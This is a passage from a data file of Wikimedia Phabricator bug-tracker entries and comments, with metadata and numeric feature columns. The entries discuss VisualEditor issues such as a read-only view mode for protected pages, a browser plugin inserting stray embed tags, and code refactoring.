+254667,"VisualEditor: Show two editing/view source tabs at all times, even if you can't edit page because it's protected","A ""read-only editor"" is the view mode… I'm not really sure there's much value in going down the route, but instead we'd want to combine the two edit tabs together (except for users with VisualEditor disabled).",,,1385386552,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qh3lrsa2vheyfhks3klm,task_subcomment,,True,c1,3,True,,,21,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+53547,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages","There should be a view-source equivalent for the visual editor so that people can see the page in VE as if the could edit it. It should allow them to interrogate things like template, so they can find out which template is producing what they see and how it does that. ~~When VE can cope with copy+paste, then~~ this will also allow them to copy and paste the relevant image/template/whatever to whatever article they are working on.
+
+**See Also**:
+* T54004
+* T54091",Low,25.0,1374077700,1555440155.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-7x5ai23ne5qampjf3g7r,False,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+1232779,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages",">>! In T53547#4983051, @matmarex wrote:
+>>>! In T53547#4977960, @Schnark wrote:
+>>> Additionally, if the user has NWE enabled, the old wikitext editor is still used for protected pages (but NWE loads after switching to visual and back).
+>> And if the user doesn't have NWE enabled, switching back to wikitext gives an error: ""Error loading data from server: readonly.""
+> This doesn't happen for me locally, only on Beta, which has been stuck in readonly mode for two weeks now.
+
+My comment was wrong anyway, as I actually did have NWE enabled. But whatever, switching now works on Beta as expected, both with NWE and without.",,,1551172044,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_subcomment,,True,c1,3,False,,,295,,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1
+1232562,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages",">>! In T53547#4977960, @Schnark wrote:
+>> Additionally, if the user has NWE enabled, the old wikitext editor is still used for protected pages (but NWE loads after switching to visual and back).
+> And if the user doesn't have NWE enabled, switching back to wikitext gives an error: ""Error loading data from server: readonly.""
+This doesn't happen for me locally, only on Beta, which has been stuck in readonly mode for two weeks now.",,,1551137528,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_subcomment,,True,c1,3,True,,,295,,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1
+1231464,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages",">>! In T53547#4977107, @matmarex wrote:
+> You can only access it by switching from old wikitext editor
+Or  by using `veaction=edit`.
+
+> Additionally, if the user has NWE enabled, the old wikitext editor is still used for protected pages (but NWE loads after switching to visual and back).
+And if the user doesn't have NWE enabled, switching back to wikitext gives an error: ""Error loading data from server: readonly.""",,,1550913707,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_subcomment,,True,c1,3,False,,,294,,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,0,1,0,1,0,0,1
+1231271,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages","Read-only VE is now available, but rather sneaky. You can only access it by switching from old wikitext editor:
+
+{F28266181}
+
+I think we should consider some more obvious ways to access it. Should we have another tab for it, called ""View in editor"" or something?
+
+Additionally, if the user has NWE enabled, the old wikitext editor is still used for protected pages (but NWE loads after switching to visual and back).
+
+----
+
+After we settle on this, we should probably brag about this in Tech News (#user-notice). Something like ""You can now open the visual editor in read-only mode on protected pages to see how they are made or copy citations to other pages"".",,,1550868857,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_subcomment,,True,c1,3,True,,,294,,1,1,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,0
+1231258,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages","Change 489416 **merged** by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] Load VE in read-only mode on protected pages
+
+[[https://gerrit.wikimedia.org/r/489416]]",,,1550868092,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_subcomment,,True,c1,3,False,,,294,,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1222586,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages","Change 489416 had a related patch set uploaded (by Esanders; owner: Esanders):
+[mediawiki/extensions/VisualEditor@master] Load VE in read-only mode on protected pages
+
+[[https://gerrit.wikimedia.org/r/489416]]",,,1549749958,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_subcomment,,True,c1,3,False,,,292,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1178498,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages","The ability to load VE at all on protected pages was removed in https://gerrit.wikimedia.org/r/#/c/mediawiki/extensions/VisualEditor/+/350471/. As a result you can only open the wikitext view source page.
+
+Ideally you would be able to open VE in read-only mode as this bug describes.",,,1542299795,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_subcomment,,True,c1,3,True,,,280,,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+254584,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages","(In reply to comment #0)
+> There should be a view-source equivalent for the visual editor so that people
+> can see the page in VE as if the could edit it.
+
+This could get quite complex, but do-able if it's worth it.
+
+> It should allow them to interrogate things like template, so they can find out
+> which template is producing what they see and how it does that.
+
+I can sort-of see the value here, but it's not great.
+
+> When VE can cope with copy+paste, then this will also allow them to copy and
+> paste the relevant image/template/whatever to whatever article they are working
+> on.
+
+We're probably going to want to do this with ""read mode"" HTML rather than build something like that (so, you copy something from the action=read and paste into veaction=edit and you get the template/etc. magically working).
+
+Marking as ""low"" priority given difficulty and relatively low value for users; happy to be convinced otherwise.",,,1375300513,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_subcomment,,True,c1,3,True,,,4,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+53521,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","I had OpenODBC's iODBC plugin installed in Safari (latest release, always). After any edit, EMBED tags would be inserted at the top and bottom of the article. This did not occur with the source editor, or any other editable widget, like this one I'm typing in now.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51423",Low,25.0,1374057480,1412114235.0,PHID-USER-5tluooawvjfhtqywnxag,False,,False,PHID-TASK-h64w6lawxsfffv5qe4yw,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0
+253297,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","Change 163961 merged by jenkins-bot:
+Remove certain blacklisted elements when getting HTML from document
+
+https://gerrit.wikimedia.org/r/163961",,,1412114000,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,65,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+253292,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","Change 163961 had a related patch set uploaded by Alex Monk:
+Remove certain blacklisted elements when getting HTML from document
+
+https://gerrit.wikimedia.org/r/163961",,,1412113106,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,65,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+253286,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page",Can't see a link to a bug filed upstream -> rm upstream keyword,,,1400336197,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,True,,,45,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1
+253277,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","(In reply to PiRSquared17 from comment #10)
+> This is now assigned to James Forrester.
+
+No it isn't. Above line clearly says:
+
+Assigned To: 	 VE team bugs – take if you're interested!",,,1395876859,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,True,,,38,,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+253271,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page",This is now assigned to James Forrester. Will a special test for this specific text be added? What can be done to fix this bug? Seems more like an upstream issue IMHO.,,,1395865021,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,38,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0
+253265,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","PiRSquared17 is right. This is not VE's fault. It only occurs in VE because of the way it sets up the editing area, which your plugin doesn't recognise as not to touch.
+
+No and no.",,,1375284998,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+253261,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","""This is not VE's fault.""
+
+I am not at all certain of this. This problem ONLY occurs in VE. It does not occur in the source editor, or any other text editor across the whole wide web.
+
+Something in VE is triggering this plugin to insert code. The plugin and the code it's inserting, is perfectly valid.",,,1375274462,,PHID-USER-5tluooawvjfhtqywnxag,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,4,,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+253258,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page",You could write an AbuseFilter to prevent edits like this. This is not VE's fault. There is a problem with the extension. Has anyone notified the author of said extension?,,,1375240617,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,4,,0,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+253255,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","(In reply to comment #5)
+> From my understanding, using this bug targetedly it is possible for Browser
+> Add-Ons to insert malicious code in Wikipedia pages. The Wikipedia user will
+> not even notice. I put importance to ""immediate"", in case I'm wrong please
+> undo
+> my change.
+
+embed is not one of the allowed html tags when $wgRawHtml is disabled, so the embed tag is escaped as a security measure.  No malicious injection is possible via this bug.
+
+The now archived discussion is
+https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29/Archive_114#Is_this_me_or_the_editor.3F
+
+Examples:
+https://en.wikipedia.org/w/index.php?title=The_Road_%282009_film%29&diff=prev&oldid=563739949
+https://en.wikipedia.org/w/index.php?title=The_Road_%282009_film%29&diff=prev&oldid=564586766
+https://en.wikipedia.org/w/index.php?title=Informix_Wingz&diff=prev&oldid=564587579",,,1375131440,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+253251,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","**wikipedia** wrote:
+
+From my understanding, using this bug targetedly it is possible for Browser Add-Ons to insert malicious code in Wikipedia pages. The Wikipedia user will not even notice. I put importance to ""immediate"", in case I'm wrong please undo my change.",,,1375128154,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+253246,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","It is adding
+<embed type=""application/iodbc"" width=""0"" height=""0"" />",,,1374448472,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,1,0,0,1
+253239,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page",Have you reported it to the author yet?,,,1374165651,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+253234,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","Actually my post over on the Village Pump *appears* to have turned up several other examples of plugins having the same problem. Not much more I can add though...
+
+http://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)
+
+Look for ""Is this me or the editor?"" (I can't get the section link to work)",,,1374086422,,PHID-USER-5tluooawvjfhtqywnxag,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,0,1,1,1,0,0
+253228,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","Have you reported this upstream (i.e., to the author of the extension)? I don't this it's VE's fault, although I've seen similar stuff with another extension (FoxLingo):
+[[m:en:Wikipedia:VisualEditor/Feedback/Archive_2013_07#Inserting_weird_script_tag_stuff]].
+
+Actually, might be a more general bug, as these diffs have many similarities. I wonder if any other browser extensions do this.",,,1374078408,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,1,0,1
+53501,Rewrite VisualEditor's converter to be bottom-up,"The data->DOM converter should construct its DOM bottom-up, the way https://gerrit.wikimedia.org/r/74058 already does for annotations. This would enable us to do some cool things like:
+
+* Pass childDomElements to nodes and meta items (already done for annotations)
+* Pass data content in addition to DOM content?
+* Allow nodes and meta items to unwrap themselves by returning an empty array (already done for annotations)
+** We could implement unwrapping of generated wrapper paragraphs using this feature
+* Possibly change the API so that instead of returning an array of DOM elements, the toDomElements function is responsible for appending its children.
+** This could replace handlesOwnChildren, and enable model types with complex output
+
+For DOM->data it's not as straightforward. We could experiment with bottom-up (outside-in, really) building there too, but it would be a bit less clear how things would work, and whether the copying involved would affect performance (although I believe we may already do a fair bit of copying around as it is).
+
+
+This may be my pet project for my flight to Wikimania, or I may end up doing this sooner if there's time.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374029040,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-bevtevpkvtmwwlk2gved,task_description,open,True,c1,3,False,False,,2,,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,0
+252152,Rewrite VisualEditor's converter to be bottom-up,Ping on this bug.,,,1402554326,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bevtevpkvtmwwlk2gved,task_subcomment,,True,c1,3,True,,,49,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+252149,Rewrite VisualEditor's converter to be bottom-up,"(In reply to comment #0)
+> * Possibly change the API so that instead of returning an array of DOM
+> elements, the toDomElements function is responsible for appending its
+> children.
+> ** This could replace handlesOwnChildren, and enable model types with complex
+> output
+> 
+This would also enable partial unwrapping of annotations, e.g. <p><a> Foo </a></p> -> <p> <a>Foo</a> </p>",,,1374029309,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bevtevpkvtmwwlk2gved,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+53487,VisualEditor: Get rid of dmRendering stuff in ce.MWInternalLinkAnnotation,"Right now, ce.MWInternalLinkAnnotation obtains a DM rendering to get the computed href. We should factor out href computation so that this isn't needed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1374014700,1382985970.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-izrcwmsj2eh7uaufp4mk,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+251204,VisualEditor: Get rid of dmRendering stuff in ce.MWInternalLinkAnnotation,"Change 90953 merged by jenkins-bot:
+Get rid of dmRendering hack in ve.ce.MWInternalLinkAnnotation
+
+https://gerrit.wikimedia.org/r/90953",,,1382986514,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-izrcwmsj2eh7uaufp4mk,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+251198,VisualEditor: Get rid of dmRendering stuff in ce.MWInternalLinkAnnotation,"Change 90953 had a related patch set uploaded by Catrope:
+Get rid of dmRendering hack in ve.ce.MWInternalLinkAnnotation
+
+https://gerrit.wikimedia.org/r/90953",,,1382383432,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-izrcwmsj2eh7uaufp4mk,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+251193,VisualEditor: Get rid of dmRendering stuff in ce.MWInternalLinkAnnotation,"(In reply to comment #2)
+> (In reply to comment #1)
+> > Change 86065 had a related patch set uploaded by Catrope:
+> > Resolve rendered URLs according to the provided <base>
+> > 
+> > https://gerrit.wikimedia.org/r/86065
+> This change tried to just get rid of href computation, but that's not good
+> enough. It does need to actually be computed.
+
+The most recent version of this change actually makes the hack worse, in order to partly fix bug 48915. Once that bug is fixed properly, this hack can be removed.",,,1380241008,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-izrcwmsj2eh7uaufp4mk,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1
+251187,VisualEditor: Get rid of dmRendering stuff in ce.MWInternalLinkAnnotation,"(In reply to comment #1)
+> Change 86065 had a related patch set uploaded by Catrope:
+> Resolve rendered URLs according to the provided <base>
+> 
+> https://gerrit.wikimedia.org/r/86065
+This change tried to just get rid of href computation, but that's not good enough. It does need to actually be computed.",,,1380240303,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-izrcwmsj2eh7uaufp4mk,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+251183,VisualEditor: Get rid of dmRendering stuff in ce.MWInternalLinkAnnotation,"Change 86065 had a related patch set uploaded by Catrope:
+Resolve rendered URLs according to the provided <base>
+
